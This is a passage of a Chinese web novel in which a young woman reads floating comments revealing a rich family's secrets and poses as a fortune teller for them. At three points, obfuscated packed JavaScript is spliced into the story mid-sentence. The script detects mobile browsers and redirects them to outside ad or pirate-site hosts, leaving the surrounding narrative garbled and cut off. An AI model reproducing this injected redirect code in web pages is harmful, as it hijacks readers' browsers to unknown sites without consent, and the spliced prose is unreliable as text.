江夏坐在板凳上,屁股总算感觉好受了些。 她坐算命摊上晒了一会儿太阳,结果越晒越困,上下眼皮开始打架。 于是她索性靠在桌上,单手支着脑袋,准备打个盹。 反正那算命的一时半会儿也不回来。 就在这时,她头顶响起一个声音。 “大仙,大仙,求你帮我家算一卦吧。” 江夏闻声眼皮一抬,看见一个长相老实的男生。 * 苏家。 “姐,你说咱家最近也太倒霉了,先是奶奶生病,然后是黄阿姨意外流产,接着又是小妹发烧肺炎住院,现在爸还在路上出车祸了。”苏怀瑾掰着手指头一个一个数道。 “姐,咱家最近是不是犯太岁啊,你说要不要找个算命先生看看?” 说罢,苏怀瑾推了推躺在沙发上闭目养神的苏红瑛,想要寻求姐姐的认可。 苏红瑛闭着双眼,抬手揉着突突直跳的太阳穴,长叹一口气道:“是挺倒霉的。” 她睁开眼,看向苏怀瑾,道:“我觉得你说得很对,咱家很有必要找个算命先生算一卦。” “如果可以的话,再找个风水大师,给咱这宅子看看,是不是风水不太好。” 说罢,她又重新闭上眼,继续揉自己的太阳穴。 得到姐姐的认同后,苏怀瑾顿时干劲十足。 “好,我现在就去找算命大师。” 苏红瑛闻言连忙睁开眼,坐起身,并伸手准备去拦他。 只是苏怀瑾跑太快,已经跑出家门口,她想要阻拦的话根本来不及说出口。 你还真去啊,我就是随口一说。 苏红瑛垂下手,无奈摇摇头。 她这个傻弟弟,什么时候才能成熟一点,他不知道算命的都是些江湖神棍,骗人的么。 罢了罢了,让他上当受骗一次也好,吃一堑长一智,以后他就知道社会的险恶了。 随后,她又重新躺在沙发上小憩。 * 江夏为什么只看一眼,就觉得男生长相老实?主要还是因为他那双扑闪扑闪的大眼,眼神足够清澈。 其实男生长得挺好看的,浓眉大眼,皮肤也白,笑起来右边还有颗小虎牙。 年龄应该比她要小上好几岁。 看着少年一脸病急乱投医的样子,江夏抬手握拳放在嘴边轻咳一声,决定帮算命先生稳住这单生意。 随即,她学起张大仙的话术来:“少年,看你面带愁容,是否有烦心事啊,何不来我这卜上一卦,让本大仙帮你测一下吉凶啊?” 少年像是才反应过来,疑惑道:“咦,你怎么是个女的?还这么年轻?” 江夏又是轻咳一声,故意压低嗓音道:“怎么,你瞧不起本大仙?” 苏怀瑾哪里敢对算命大师不敬,常言道举头三尺有神明,算命大仙作为神明的“代言人”,他哪敢不敬。 “不不不,大仙,我只是一时疑惑,毕竟以前见过的算命大师多是年近五六十的老先生,像您如此年轻的还是第一回见,所以有点刻板印象了,实在是抱歉。”他语气诚恳道。 听到这话,江夏才满意点头。 她清了清嗓音,开始一边摇头晃脑一边随口胡诌:“那你是要卜财运之得失、姻缘之顺逆、官运之蹇通还是未来之吉凶啊?” 少年听她说出一大堆的专业词汇,顿时摒弃了之前对算命大师的刻板印象,对江夏肃然起敬。 苏怀瑾对她根本不设防,说道:“大仙,最近我家可倒霉了,从我奶奶生病开始,我家就跟犯太岁似的,接连发生一连串倒霉的事。” 江夏闻言怔了一怔,她没想到这孩子竟跟她吐露起心扉来了。 原本,她是这么打算的。 倘若面前的傻孩子想问的是姻缘啊前途啦,这种比较泛的事,她就随便胡诌几句,逗他玩玩。 反正说得模棱两可就行了,最后再往好的方向归纳归纳。 结果孩子竟如此单纯,单纯到她都不好意思骗他。 更何况,听他说他家的事还挺严重的,那她可不能胡说八道误了人家。 江夏正准备坦白一切,说自己不是什么算命的大仙,只是帮人看摊子,方才那番话也只是逗他玩。 但是,反转再次出现。 她在少年头顶上看见了滚动的弹幕。 是的,时隔多日再次突然冒出的弹幕。 【傻白甜苏怀瑾?话说苏家很有钱的吧,在省城也算是排得上名号的富商家庭了。】 江夏再次一怔,有钱! 【嗯,就是那个富得流油的苏家,苏家最近是挺热闹的,接连发生了很多事。】 【苏怀瑾还以为自家近期发生这么多事,是因为犯太岁,实际上另有隐情。就说他奶奶生病这事吧,其实是装的。】 【他奶奶故意装病,打电话跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183688|165412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们说自己时日不多,快死了,只是想让他们尽快回家而已。】 江夏颇为惊讶地盯着少年头顶上的弹幕,期待着后续。 然后呢,然后呢,他奶奶装病让他们尽快回家,目的是什么? 还有他家目前发生了哪些大事?里面的隐情又都是什么? 结果,最后一行字滚动完,弹幕又突然消失了。 什、什么?怎么没了? 后续呢,她要看后续。 这弹幕怎么这么不靠谱啊,接受弹幕消失的事实后,她忍不住吐槽。 她这被吊起的胃口啊。 江夏气得差点捶桌子。 “你名叫苏怀瑾。”她冷不丁开口道。 对面的苏怀瑾闻言,先是惊讶,随后便露出一脸崇拜的神情。 “大仙,你可真的神,我都没跟你说我叫什么,你竟然已经算出了我的名字。” 江夏一脸平静地冲他点点头,示意他淡定。 在弹幕出现之前,她是打算去前头把真正的张大仙叫来,给他算卦的。 但看过弹幕后,她忽然就改变了主意。 弹幕的真实性她之前已经验证过,这个弹幕有点像开了上帝视觉,什么都知道。 就是不太靠谱,话说到一半突然消失。 反正不管怎么说,这个弹幕绝对比那个喜欢打麻将的张大仙靠谱吧。 看在苏怀瑾如此清澈单纯且信任她的份上,她决定帮帮这位有缘人。 “你刚刚跟我说你奶奶生病?”江夏语气悠悠地问道。 苏怀瑾连连点头。 “其实,你奶奶没有生病,她是装的。”她又道。 “啊?装的?”苏怀瑾意外道。 “你奶奶是不是给你们打电话,说她快不行了,让你们赶紧回家,要不然就见不到她最后一面了?”江夏慢悠悠道。 根据弹幕的内容,她还做了一点细节补充,这样显得更真实。 果不其然,苏怀瑾惊得瞪大双眼,激动地差点握住江夏的手,还好出于对大师的敬重,他克制住了这份冲动。 “大仙是这样的,”苏怀瑾连连点头,“我奶奶说她生病快不行了,让我们赶快回家,跟大仙你说的一模一样。” “大仙你可真神,都不用求卜问卦,便能洞察一切。”他一脸崇拜看着江夏道。 江夏被他夸得有点不好意思地挠了挠额角。 苏怀瑾可真是太真诚了,真诚到她都有点心存愧疚。 “那我奶奶为什么要装病呢?”苏怀瑾不懂就问。 江夏没有立即回答,而是颇具引导性地反问道:“你们这段时间难道就没发现你奶奶的异常之处吗?” 她这么问,主要也是希望苏怀瑾的回答能透露一些关键信息,好给她提示,毕竟她也不能纯瞎编吧。 苏怀瑾认真想了想,然后摇头,真诚道:“没发现啊,我在省城警校读书,我姐忙着工作,我爸在外地出差,至于我奶奶她得了老年痴呆,脑子一直就不太清醒。” “一开始她打电话给我和姐姐,让我们回家看看她,我跟我姐都以为她是又犯病了。” “直到爸打电话让我们回家,我们才发现奶奶好像是真的生病了,但是住院后,医生又查不出奶奶到底哪里不舒服。” “只是没想到奶奶竟然是装病。” 江夏:…… 他奶奶竟还是个老年痴呆,弹幕怎么也不提醒她。 “一个老人家,装病想要家人回来,还能是因为什么原因,”说到这,她顿了顿,随即又迟疑道,“当然是因为太孤独啦,她想你们回家陪陪她。” 好一个弹幕一句话,剩余全靠编。 说罢,江夏抬手不动声色地擦了擦额角的细汗。 “哦——”苏怀瑾恍然大悟道,“竟然是这样。” “我回去可要跟姐姐好好解释解释。”他道。 随后,他想起什么,又连忙问:“大仙,那我继母流产,小妹高烧肺炎,以及我爸出车祸都是因为什么呢?” 11. 【11】 江夏被他这一连三问,问得差点一个趔趄,没撑住身子。 流产、肺炎、车祸,这都啥跟啥呢? “咳咳,”她握拳轻咳了两声,随即装模作样道,“时机未到,天机不可泄漏。” “总之,你先回家解决你奶奶装病的事。”她道。 苏怀瑾像是没料到江夏会这么说,他在原地愣了一瞬,反应良久,方一脸茅塞顿开。 他好像懂大仙的意思了,黄阿姨流产、小妹高烧肺炎,以及他爸出车祸的事,大仙估计是想一件一件来解决。 想来也是,他们家这些事都发生得蹊跷,大仙怕是也要逐一破解才行。 而且大仙让他先回家解决奶奶的事,大概也是别有深意。 “大仙,我明白你的意思了。”苏怀瑾一脸郑重道。 江夏内心:你懂啥啊你就懂。 但她表面却依旧云淡风轻,她冲他点点头,悠悠道:“那你快去吧。” 苏怀瑾用力点一下头,随后像是想到什么,急忙掏出口袋里的皮夹,把皮夹里的现金都给了江夏。 “大仙,实在不好意思,今天我出来得匆忙,没带多少钱,这些是暂时孝敬您老的。”苏怀瑾一脸歉疚道。 江夏瞅了眼摆在桌上的现钱,一张张崭新的百元大钞,足足十几张。 她不由瞪大双眼,但为了维持住大仙的人设,还是立即收回目光,克制住去抓桌上钱的冲动。 她一开始就没打算要钱,但人主动给的,她也不会傻到拒绝。 “无妨无妨。”她道。 “那大仙,我先回家了。”苏怀瑾道。 江夏微微颔首。 苏怀瑾离开视线后,她毫不客气,连忙把桌上的钱揣进口袋,然后起身离开。 骑车到家后,她掏出口袋的钱数了数,竟然有一千七百块。 我的天,快赶上她一年的工资了。 值班员的工作轻松,所以工资也不怎么高,一个月只有一百八十几块钱。 而今天一天就赚这么多钱。 如果按照这个赚钱思路,她说不定真的可以做到了三年不开张,开张吃三年。 就是吧,这个弹幕有点忒不靠谱了。 突然出现又突然消失,关键信息还只透露一小半,剩下的全靠她来编。 仅靠弹幕给的信息,到底能不能成为她养家糊口的赚钱路子,这确实是个问题。 而且她这样是不是有点江湖骗子的意思啊? 想到这,她连打了好几个哈欠。太长时间没睡,有点熬不住了。 算了,不想了,先睡觉吧。 * 与此同时苏家。 苏怀瑾一回到家就立即和姐姐分享了他碰上大仙,并给大仙孝敬了一千七百块钱的事。 “什么?一千七百块?”苏红瑛一脸吃惊道。 惊讶完,她又骂道:“苏怀瑾你是不是傻?哪家算命的要这么贵?” “姐你误会了,”他赶忙解释,“大仙没跟我要钱,是我主动给的,我把钱包里的钱都给了她。” “哈?”苏红瑛更吃惊了。 “就你这脑子,我很怀疑你是怎么考上警校的?”苏红瑛指着他,一副恨铁不成钢的样子,“人家没跟你要钱,你还主动给,关键还把钱包里的钱都给出去了。” “姐,要我怎么解释你才听呢,”苏怀瑾着急道,“那个大仙很厉害,她不是江湖骗子。” “一开始我根本就没跟她说我的名字,但她一开口就说我叫苏怀瑾。”他道。 “哟,这骗子还是有预谋有准备的。”苏红瑛道。 “老弟不是姐说你,”她道,“苏家在省城多出名你不知道?咱家经常上报纸的,想调查你的名字不难。” “不不不,”他连连摇头,“大仙还知道奶奶给我们打电话的事。” “大仙说的话,跟奶奶在电话里跟我们说的话简直一模一样,但是这些我一点没透露,都是大仙凭真本事算出来的。” “啊,这么邪门,难道你口中的大仙还在咱家安插了眼线,就为一千七百块钱?没必要啊。”说到这,苏红瑛自己都觉得纳闷。 “姐,大仙说咱奶奶是装病的。”苏怀瑾一脸认真道。 “你小子还真是油盐不进啊,我都说了那个大仙是骗子……” 说到这,她猛地一顿,抬起手问:“等等,你刚说什么?你说奶奶是装病?” “不,是大仙说的,不是我说的。”苏怀瑾纠正道。 苏红瑛没有在意,继续道:“我就知道!奶奶是装病,要不然她怎么住院这么久,医生愣是什么也查不出来。” “只要医生一说,老太太好像没什么事,奶奶就必会哎哟哎哟地说这里疼那里疼,胸口喘不过气来。” “我一开始就怀疑奶奶是装病,但是奶奶住院没多久,黄阿姨又意外流产,我就没空管她了。”她道。 说完,她又问:“那个大仙有没有说奶奶为什么装病?” 苏怀瑾见姐姐也认可了大仙,忙笑着点头:“说了说了。” “大仙说奶奶是因为太孤单,想要我们回家陪陪她,所以才装病的。” “这样?”苏红瑛蹙眉,有些狐疑。 她怎么感觉不是呢,虽然她也不知道自己为什么会这么觉得。 如果非要解释,那就是直觉,女人的直觉。 “走,跟我去趟医院。”苏红瑛起身拿起自己的包包。 “医院?姐你是打算去问奶奶装病的事吗?”苏怀瑾问道。 苏红瑛忍不住白了他一眼:“动动你的脑子好不好,这事能直接问吗?” “不直接问,那怎么办?”他一副不太想动脑子的样子。 “到了你就知道了。”苏红瑛懒得跟他详细解释,直接道。 半个小时后,两人来到苏奶奶病房前。 苏红瑛站在病房门口并没直接推门进去,而是狠狠掐了自己大腿好几把,痛得她顿时眼泪汪汪。 都给旁边的苏怀瑾看懵了,他姐这是又在整啥活啊。 她看自己状态差不多了,才推门进入。 苏红瑛一进门,就哭着扑向奶奶的病床。 “奶奶,你没事吧?” 苏红瑛这突如其来的动作,给靠在床上吃水果的李桂花吓了一跳。 因为苏奶奶住院,苏父专门给她请了一个护理员。 苏红瑛推门进来的时候,护理员正在给李桂花喂苹果。 李桂花将嘴里的苹果咽下,一脸茫然地看向自家孙女:“你是谁啊?” “我是您的孙女苏红瑛啊,”她边流眼泪边说,“您又不记得我了?” “我哪来的你这么大的孙女啊,我还是个黄花大闺女呢。”年近七十,头发早已发白的李桂花说道。 说罢,李桂花身子一转,把背对着苏红瑛。 站在旁边的苏怀瑾听到李桂花这话,差点没笑出声。 苏红瑛也是一怔,但好在她足够沉稳,怔完之后,又继续说着提前想好的台词。 “奶奶,其实你这样糊里糊涂的也挺好,这样你上手术台也就不会怕了。” 她奶奶最怕的就是动刀子上手术台,前几年她脖子那长了个瘤子,要动手术割掉,她是死活不肯。 最后奶奶还是被医生骗上手术台的。 李桂花一听她要动手术,立马坐不住了,转身问:“我要动手术?我怎么没听医生说呢?” 苏红瑛低头擦了擦眼泪,装模作样道:“奶奶,是我特地交代医生不要告诉你的,你不是一直怕动刀子嘛。” “我、我要动什么手术啊?”李桂花脸色明显变了。 “您不是老说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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继母黄丽淑看到两姐弟把苏老太太接回家,也是一脸吃惊。 黄丽淑前些天流产,只在医院住了两三天的院,这几天都是在家休养。 “你们怎么把奶奶接回来了?”她问。 “医生说奶奶的病好了,可以出院。”苏红瑛随意回答道,并未提及李桂花装病的事。 李桂花跟在苏家姐弟身后,一脸好奇地盯着自家房子。 “这房子可真大真漂亮啊,这要是我家就好了。” 黄丽淑走上前,笑得温柔:“妈,这就是你家。” 李桂花困惑地看着她,问:“你是谁?为什么喊我妈?我可没你这么老的女儿。” 黄丽淑:“……” 苏红瑛打断两人的对话,冲厨房喊道:“张婶刘婶,带奶奶进自己房间休息。” 她话音一落,两个中年女人便从厨房走了出来。 安顿好奶奶,苏红瑛来到苏怀瑾的房间。 她将门顺手关上,对靠在沙发上的苏怀瑾交代道:“你多花点钱,把上午你遇到的那个大仙请来咱们家,让他帮忙算下小妹肺炎、爸出车祸都是怎么回事。” 苏怀瑾闻言,兴奋地站起来:“姐你终于相信大仙啦。” 苏红瑛抿了抿唇,别扭道:“没有全信,暂且信个三分吧。” 毕竟奶奶装病这事他是真算出来了。 “好嘞姐,我现在就去找大仙。” “身上的钱够不够?”苏红瑛问。 苏怀瑾:“够够够,爸给的零花钱我都没花不完。” “姐,这次请大仙来家里给多少酬劳比较合适?”他问。 苏红瑛单手支着下巴,蹙眉沉思:“一次也不能给太多,不然他把我们当冤大头,下次就会来个狮子大开口。” 苏怀瑾极为认同地点头,并在心里为姐姐的谨慎默默点个赞。 “上午你给了一千七,那这回,”她深思熟虑道,“就先给个五千吧。” “好嘞。”苏怀瑾满口答应。 苏怀瑾取好钱后,健步如飞地往上午那个算命摊走,结果摊子还在,人却换了。 换成了一个留着山羊胡的老先生。 12. 【12】 “你好,请问上午在这坐着的大仙呢?”苏怀瑾问。 老先生闻言捋了捋他的山羊胡,道:“我就是这的算命先生,张大仙。” “不是,”苏怀瑾语气肯定道,“我不是找你,我找一位年轻的女大仙。” 张大仙也纳闷:“哪里来的女大仙?这个算命摊一直都是我的。” “有的,就上午一个女大仙坐在这。”他坚持道。 说罢,他像是意识到什么,心想他上午遇到的女大仙不会是什么世外高人吧,云游四海,行踪不定。 还是说,他遇到的真是位仙者。 他颔首,觉得极有可能,不然大仙怎么知道他奶奶跟他们说的话,还知道奶奶装病的事。 正在苏怀瑾疯狂脑补的时候,张大仙想到什么,恍然大悟道:“哦,你说的不会是上午那个女娃娃吧。” “难不成她还给你卜卦了?”张大仙皱眉道。 那女娃看着年纪轻轻,竟还是他的同行? “你知道那位大仙?”苏怀瑾惊喜地问。 张大仙点头:“那就是个普通的女娃罢了,在我旁边坐着晒太阳,正好我去解手,就让她帮忙看下摊子。” “不是普通女娃,她是大仙。”苏怀瑾认真严肃道。 没想到还真是同行,他竟让同行帮忙看摊子,失策失策,张大仙在心中悔恨。 “她还真给你算卦了?”张大仙问。 苏怀瑾郑重点头:“不仅算了,还算得很准。” “咳咳,”张大仙轻咳两声,道,“本大仙从业多年,算卦一向也都很准。” 苏怀瑾摇头:“我要找上午那个大仙。” “你这孩子可真是认死理,不如让我给你算一卦,你就知道本大仙的本事。”说罢,张大仙闭上双眼,嘴里念念有词,开始掐算手指。 “好,那我考考你,”苏怀瑾道,“请问我奶奶为什么生病?生的又是什么病?” 张大仙闻言睁开眼,心想算命哪是这么算的,直接具体到事,若算命能这么算,他还在这摆摊干嘛,直接掐指一算什么来钱最快不就得了。 “啊,这,”张大仙为难的“嘶”了一声,又道,“生病了不该去医院吗?” 苏怀瑾一脸严肃地摇头:“不,上午那位大仙把这些都清楚明白地算出来了。” 他不想再耽误时间,直接问:“老先生你知道上午那位大仙去哪里了吗?” 张大仙摇头,如实道:“不知道,上午我只是让她帮忙看一下摊子,等我回来,她人早就走了。” 苏怀瑾一脸懊悔,早知道应该留个大仙的联系方式。 没找到大仙,就这么回去肯定不行,他站在原地蹙眉思索着,然后想到了个守株待兔的办法。 “老先生,你看这样行不行,我给你钱,你帮我在这看着,若是大仙重新回到这里,麻烦你打这个电话告知我。” 说罢,苏怀瑾掏出随身携带的电话本和钢笔,在电话本上写下一个号码,然后将纸撕下递给他。 张大仙接过电话纸,并没有急着答应,而是反问:“你打算给多少钱?” 苏怀瑾正打算从怀里那一沓百元大钞中抽出一张给老先生,但一想又收回手,重新从兜里掏出十块钱零钱。 一百块,抵得上好多人半个月的工资呢。 就像他姐说的,一次给太多也不好,不然别人下次就会狮子大开口。 张大仙,眼睛一亮,十块。 “妥了。”他爽快答应。 没想到这孩子出手竟如此大方,说实话,他经常坐一天都挣不了十块,而现在他啥也不用做,就到手十块钱。 “老先生,若是成功找到大仙,我这还有另外十块钱的报酬。”苏怀瑾道。 虽然不知道这个办法能不能顺利找到大仙,但关于大仙的行踪,他所知道的便只有这里,所以也只能这么办了,他心想。 “妥妥的,”张大仙连连点头,“要是我看到那女娃,一定第一时间打电话通知你。” * 而此刻刚睡醒的江夏,完全不知道还有五千块钱正等着她。 因为睡得晚,她这一觉睡到晚上六点才醒来。 她起床拉开窗帘,看着外面暗下来的天,就知道时候不早了。 一看时间还真是,都六点多了。 她去阳台洗漱,忽然发觉秦瞻到现在还没回来。 正常他是五点下班,再晚六点也到家了。 那他今天应该是忙着出任务或加班吧,就像他之前跟她交代的一样。 若是六点他还没回家,就是加班回不来了,让她不用等他,自己先吃晚饭。 洗漱完,江夏转头便看见挂在阳台外的衣服。 现在已经入秋,衣服挂在外头,估计会被夜里的露水打湿。 她将衣服一件件收进屋,收到秦瞻的衣服时,她眼底不禁闪过几分惊讶。 江夏拿起他的衬衫,好奇似的在自己身上比划了一下。 他的衣服好大啊,感觉能装下两个自己。 意识到自己在做什么时,她歪了歪头,神情有些愣。 随即她又勾唇一笑,继续收衣服。 去棉纺厂值完晚班回来,江夏和昨天一样,没有急着回家。 她随意找了个早餐摊,吃完早餐后,便骑着车在各个地方转悠。 昨天转悠了半上午,收获可以说颇丰。 所以,她今天打算继续转悠转悠,说不定能找到更赚钱的路子呢。 江夏做着不着边际的白日梦,不知不觉就再次来到了昨天的算命摊。 张大仙手握十块钱,坐在自己摊前盯着街上来来往往的人。 为了守株待兔,昨天他硬是熬到天黑才收摊,以往一到四五点他早就收摊走人了。 今天他出摊也比往常早一个钟,他这么努力,为的就是顺利拿到剩下的十块钱。 好在皇天不负苦心人,还真让他给蹲到了。 江夏骑着自行车经过算命摊,她并没有在这片逗留的打算,便慢慢悠悠地蹬着车走了。 这时她身后传来一声呼喊:“女娃,停下。” 江夏以为不是在叫她,便没理会,继续往前。 紧接着,身后又想起一声:“那个骑车的女娃,快停下。” 她这才捏了车闸,脚尖点地停下。 江夏回头,发现方才那两声还真是叫她的。 叫她的不是别人,正是昨天的算命先生张大仙。 张大仙见她停了下来,连忙冲她招手,示意她到自己这边来。 江夏听话地调转方向,蹬着车来到算命摊前。 “女娃娃,昨天你是不是给人算过卦?”张大仙笑眯眯地对她说,“那人要找你。” 江夏闻言一怔,心想总不会是她说错了,苏怀瑾转过头来找她算账吧。 她都是按照弹幕上的内容说的啊,如果真说错了,那就是弹幕误她。 那些弹幕果然靠不住。 “女娃娃,你在这等着,我去打电话叫他过来。” 江夏坐在自行车上点点头。 苏怀瑾看着不像是不讲道理的人,因此即使他找她是为的算账,她也不打算逃避,大不了昨天收的钱都还他。 张大仙说罢,就去了前面的小商店。 省城的小商店有不少都安装了电话,按照五毛钱一分钟来收费。 算命先生打完电话,又一路小跑回来。 “女娃娃,你师承何门何派?听那男娃说,你还能算出他奶奶为什么生病,生的什么病。”张大仙好奇地问道。 按理说,生病不该是属于医学范畴么,怎的也包含在这五行八卦之中? 江夏听完算命先生的话,这才反应过来,苏怀瑾找她大概不是为的算账,不然他不会如此跟张大仙说。 她轻咳两声,故作一脸神秘道:“实在不好意思老先生,不方便透露。” 张大仙点点头,表示理解。 有的师门早已隐世,自然是不想让太多人知道。 思及此,算命先生又忍不住打量起面前的女娃娃,心说,这女娃除了长得好看点,也看不出其他过人之处。 但命理术数,她竟能算到如此地步,还当真是人外有人天外有天啊。 没多久,苏怀瑾便来到了算命摊。 “大仙,我可算找到你了。”他边往这边小跑,边大声喊。 搞得江夏都有点不好意思。 待苏怀瑾走近,她咳了一声道:“我叫江夏,你还是叫我名字吧,别叫我大仙了。” “好的,江大仙。” 江夏:“……” 算了,还是说正事吧。 “你找我是有什么事吗?”她问。 苏怀瑾用力点头,然后从口袋里拿出十块钱递给旁边的算命先生。 张大仙接过十块钱,嘴笑得咧起来。 “江大仙,这里不方便说话,咱们去那边说。”他道。 江夏点头,推着自行车跟着他往前走。 苏怀瑾转头瞥了一眼江夏身旁那辆并不算很新的自行车,心想,大仙这身份,竟然骑着如此普通的一辆车,还真是大隐隐于市啊。 两人走出小巷,江夏看见路口停着一辆崭新的小汽车。 她对车没啥研究,也不认识车标,反正这年头能开上车的,非富即贵。 “大仙请上车。”苏怀瑾特意绅士地打开车门,让她先进。 “等等。”江夏抬手道。 然后她在路边找了颗树,将自行车车轱辘和树一起锁起来。 这样锁车,自行车就不会被人连车带锁一起扛走了。 锁是那种带锁链的,绕树一圈正正好。 锁好车后,她拍拍手道:“好了。” 上了小汽车后,苏怀瑾才诚恳地跟她说起去苏家的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15183690|165412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他跟江夏大致介绍完自家近期发生的事,随后真诚地奉上五千块钱。 江夏看着那厚厚一沓的百元大钞,说不动心是假的。 但动心归动心,她还是克制住了自己蠢蠢欲动的手。 江夏将钱推回到苏怀瑾身边,她还没来得及说话。 苏怀瑾就紧张地问:“大仙是觉得这钱少了?” “大仙您无需多虑,这些钱只是请大仙上门的酬劳,至于事后的报酬,您之后随便提。”他道。 闻言,江夏忍不住再次瞅了一眼那沓钱,这么厚一沓得好几千块吧。 就这,还仅是请上门的报酬? 她真的很想诚挚地问他一句:你家钱怕不是大风刮来的吧? “不不不,”她连忙摆手解释,“是无功不受禄,这钱我不能收。” 苏怀瑾一听笑道:“大仙谦虚了,您神机妙算,说我奶奶是装病,结果还真是装病,这怎能算是无功呢?” 江夏:啊这…… 最后她不得不拿出大仙的威严,才成功阻止苏怀瑾硬要给她塞钱的行为。 “钱你先收回,这是我行事的规矩,”她道,“至于你家我会陪你走一趟。” “对对对,大仙的规矩不能破。”苏怀瑾连忙听话地收回钱。 她不能收这钱,除了金额太大外,还有另外一个至关重要的原因。 苏怀瑾继母流产、小妹肺炎以及他爸出车祸,这些事背后的原因,她能不能顺利搞清楚,这完全取决于弹幕啊。 而弹幕的出现是随机的,内容是不确定的。 在事情解决前,她自然不能随便收钱。 二十分钟后,小汽车驶入苏宅——一幢豪华大别墅。 到家后,苏怀瑾直接将江夏带去二楼的会客厅。 去请大仙前,他姐就特地交代他,让他带人回来的时候尽量不要惊动家里其他人。 在江夏踏入苏宅的那一刻,她就不曾停止地在心中赞叹。 我的天啊,这就是有钱人的世界吗?在大部分人还挤在破烂筒子楼里的时候,有钱人已经住进豪华别墅了。 不仅配备司机,还有专门服侍的佣人。 好好好,贫穷限制了她的想象。 苏红瑛早在会客厅等着了,会客厅的门一被推开,她就抬头看去,结果却看到苏怀瑾领着一个漂亮女孩进门。 她蹙眉:“不是叫你去请大仙?怎么还带了个女的回家?” “交的女朋友?” “就算是稳定交往的女朋友,现在也不是见家长的时机,咱家还一堆事没解决呢,快去请大仙。” 因为之前苏怀瑾根本没跟她描述过“大仙”的性别和外貌,以她对算命大师的刻板印象,她下意识觉得老弟口中的“大仙”,应该是个年近五六十的白胡子老先生。 所以,看着苏怀瑾领着一个女孩回来,她表示很不理解。 苏红瑛语速极快,根本没有苏怀瑾插嘴的机会。 待她一连串说完,他才赶忙解释:“姐,姐,不是不是。” “你莫要对大仙不敬,这不是我女朋友。”他道。 “这位,”他一脸郑重地介绍道,“就是我说的大仙。” 哈? 苏红瑛一脸狐疑地看向面前长相精致,又透着几分柔弱的女孩。 简直,一点大仙气质都没有! 她严重怀疑苏怀瑾是不是被骗了。 骗子?关键是漂亮姑娘看着也不像骗子。 “你真的是那个算出我奶奶是装病的大仙?”苏红瑛语气中满是怀疑。 江夏毫不介意她打量的目光,笑着自我介绍:“我叫江夏,不是什么大仙,你们叫我名字就好。” “不过,苏奶奶装病的事确实是我告诉苏怀瑾的。”她道。 我可没说我是算的哦,所以不算故意骗人吧。 她在心里默默道。 【掌公主苏红瑛!古希腊掌管掌掴的神!】 江夏的话一说完,弹幕就突然冒了出来,出现的地方正是苏红瑛的正上方。 掌公主?掌掴的神?这都什么鬼。 她看着那一行莫名其妙的弹幕,在心里纳闷。 这时,苏红瑛开口道:“江女士,这次请您来,主要还是想让您帮忙算一下,我家这接二连三的倒霉事。” 她见江夏既没什么架子,说话的语气温柔和善,于是态度也转变得友好很多。 “报酬什么的都好说。”她笑着补充道。 江夏同样报以微笑,但视线却紧紧盯着苏红瑛的上方。 此时此刻,她正在心里咬牙切齿:这关键时刻,弹幕你倒是出来啊。 好歹给个提示,不然她怎么往下编,她胡编乱造也得有个方向吧。 而弹幕也像是听见了她的心声,弹出一条关键信息。 【苏家老太太,不仅装病,连老年痴呆也是装的。】 13. 【13】 江夏看到这条弹幕眉头紧锁,这老太太想干啥,装病也就算了,敢情老年痴呆也是装的。 直觉告诉她,这苏老太太身上埋藏着什么秘密。 可是,问题来了…… 装病吧,她还能根据上下文编一编,但这老年痴呆她要怎么编啊? 脑袋疼。 …… 算了,死马当活马医吧。 她握拳轻咳了一声,悠悠道:“苏老太太,不仅病是装的,连老年痴呆也是装的。” 此话一出,苏红瑛和苏怀瑾均是惊得瞪大了双眼。 “什么?奶奶老年痴呆是装的?”苏怀瑾难以置信道,“可奶奶患老年痴呆都两年多了。” 他只知道生病能装,没想到老年痴呆也能装。 简直刷新他的认知。 听到这话,江夏眼底同样闪过几分惊讶。 “装了两年多?” 她顿了顿,随后发自内心地佩服道:“可见你奶奶演技挺好的。” “还有恒心。”她又补了一下刀。 调侃归调侃,不过她还是很好奇,这背后究竟隐藏着怎样的原因,能让一个年近七十的老太太装老年痴呆两年多。 这究竟是道德的沦丧还是人性的扭曲? 老年痴呆…… 江夏在心中默念这几个字,随即大脑灵光一闪。 为什么是装老年痴呆?不是别的病? 这背后的原因,会不会跟老太太的记忆有关系?江夏沉思。 但,她所获的信息终归不多,充其量也只能做个这样的推测。 “大仙。”苏红瑛不知何时突然就改了对江夏的称谓。 “好好的,我奶奶为什么要装老年痴呆呢?还一装就是两年多。” 一天到晚的演戏,这老太太就不累吗?她在心里吐槽。 苏红瑛一下问出了在场所有人都好奇的事。 是的,江夏也同样好奇,但问题是她啥都不知道呢。 姑娘,我知道的不比你多。 就说你奶奶装老年痴呆这事吧,我也只是比你提前一秒知道而已。 她很想这样对苏红瑛坦白,但现实不允许啊。 所以她悠悠的来了这么一句:“时机未到。” “啊?”苏红瑛一脸的问号。 就在她准备继续发出疑问的时候,苏怀瑾上道地及时出声阻止。 “姐,‘时机未到’就是还不能说的意思。” 苏红瑛表情略带无语,她当然知道“时机未到”这四个字的意思,她又不傻,她是想问为什么?为什么时机未到? 